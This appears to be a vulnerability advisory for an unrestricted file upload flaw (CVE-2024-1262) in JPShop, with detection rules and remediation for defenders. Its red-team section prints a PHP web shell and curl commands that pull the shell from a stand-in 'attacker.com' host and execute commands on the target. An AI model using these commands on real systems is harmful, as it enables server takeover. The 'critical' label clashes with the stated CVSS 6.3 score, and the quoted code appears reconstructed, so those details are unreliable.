CVE-2024-1262

Executive Summary

CVE-2024-1262 is a critical unrestricted file upload vulnerability in Juanpao JPShop up to version 1.5.02. The flaw resides in the actionUpdate function of /api/controllers/merchant/design/MaterialController.php, where the pic_url parameter is not properly sanitized, allowing an authenticated attacker to upload arbitrary files to the server. This can lead to remote code execution, data exfiltration, or full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

JPShop is a PHP-based e-commerce application. This vulnerability affects the core application code, not a third-party package. However, if JPShop is deployed via Composer or Docker, the entire application stack is impacted. Users should monitor for updates from the vendor and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (merchant-level authentication)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is triggered via an HTTP POST request to the /api/controllers/merchant/design/MaterialController.php endpoint. The actionUpdate function processes the pic_url parameter without validating the file type or content. An attacker can supply a URL pointing to a malicious file (e.g., a PHP web shell) or directly upload a file via multipart form data. The application then saves the file to a publicly accessible directory, allowing remote execution.

Root Cause: Lack of file type validation and insufficient access controls on the upload functionality.

Attack Flow:

1. Authenticate as a merchant user.
2. Send a crafted POST request to the vulnerable endpoint with a malicious file.
3. The file is saved to the server (e.g., /uploads/shell.php).
4. Access the uploaded file to execute arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (JPShop <= 1.5.02):

// /api/controllers/merchant/design/MaterialController.php
public function actionUpdate() {
    $pic_url = $_POST['pic_url'];
    // No validation or sanitization
    $file_content = file_get_contents($pic_url);
    $filename = basename($pic_url);
    file_put_contents('/uploads/' . $filename, $file_content);
    // ...
}

Patched Code (Hypothetical):

public function actionUpdate() {
    $pic_url = $_POST['pic_url'];
    // Validate file extension and MIME type
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $extension = pathinfo($pic_url, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $allowed_extensions)) {
        die('Invalid file type');
    }
    // Use a secure download function with content-type check
    $file_content = @file_get_contents($pic_url);
    if ($file_content === false) {
        die('Failed to fetch file');
    }
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_buffer($finfo, $file_content);
    finfo_close($finfo);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime_type, $allowed_mimes)) {
        die('Invalid MIME type');
    }
    // Generate a random filename to prevent overwriting
    $filename = uniqid() . '.' . $extension;
    file_put_contents('/uploads/' . $filename, $file_content);
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• JPShop instance (<= 1.5.02)
• Merchant account credentials
• A web server hosting a malicious PHP file (e.g., shell.php)

Exploit Steps:

1. Host a PHP web shell on an attacker-controlled server:

   <?php system($_GET['cmd']); ?>
   

2. Send the exploit request:

   curl -X POST http://target.com/api/controllers/merchant/design/MaterialController.php \
     -d "pic_url=http://attacker.com/shell.php" \
     -b "session=merchant_session_cookie"
   

3. Access the uploaded shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Alternative (Direct Upload):

curl -X POST http://target.com/api/controllers/merchant/design/MaterialController.php \
  -F "pic_url=@shell.php" \
  -b "session=merchant_session_cookie"

Blue Team

Detection:

• Monitor for POST requests to /api/controllers/merchant/design/MaterialController.php with unusual pic_url parameters (e.g., containing .php, .asp, or external URLs).
• Alert on file uploads to /uploads/ with non-image extensions.
• Use WAF rules to block file uploads with executable extensions.

Hunting:

• Search for files in /uploads/ with .php, .phtml, .php5 extensions.
• Review web server logs for requests to /uploads/*.php followed by command execution patterns.

Indicators of Compromise (IOCs)

• File Paths:
  • /uploads/shell.php
  • /uploads/*.php (unexpected PHP files)
• Network Indicators:
  • POST requests to /api/controllers/merchant/design/MaterialController.php with pic_url parameter containing external URLs or non-image extensions.
  • Outbound connections from the server to attacker-controlled IPs.
• Log Entries:
  • Web server logs showing POST /api/controllers/merchant/design/MaterialController.php with status 200.
  • Access logs to /uploads/*.php with cmd or exec parameters.

Detection Engineering

YARA Rule

rule CVE_2024_1262_JPShop_Upload {
    meta:
        description = "Detects malicious file upload attempts targeting CVE-2024-1262"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1262"
    strings:
        $php_shell = "<?php" nocase
        $pic_url_param = "pic_url="
        $upload_path = "/uploads/"
    condition:
        $pic_url_param and $php_shell and $upload_path
}

Sigma Rule

title: CVE-2024-1262 JPShop Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1262 via malicious file upload
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/controllers/merchant/design/MaterialController.php'
        cs-uri-query|contains: 'pic_url='
    condition: selection
falsepositives:
    - Legitimate image uploads from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1262 JPShop Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/controllers/merchant/design/MaterialController.php"; http_uri; content:"pic_url="; http_client_body; pcre:"/pic_url=.*\.(php|phtml|php5|asp|aspx|jsp)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /api/controllers/merchant/design/MaterialController.php via web server configuration.
2. Implement WAF rules to block file uploads with executable extensions.
3. Restrict upload directory permissions: Ensure /uploads/ is not executable (remove PHP execution via .htaccess or Nginx config).

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of JPShop.
• Conduct a code review of all file upload functionalities.

Workaround:

• Add input validation in a custom middleware:

  if (preg_match('/\.(php|phtml|php5)$/i', $_POST['pic_url'])) {
      die('Blocked');
  }
  

Valters IT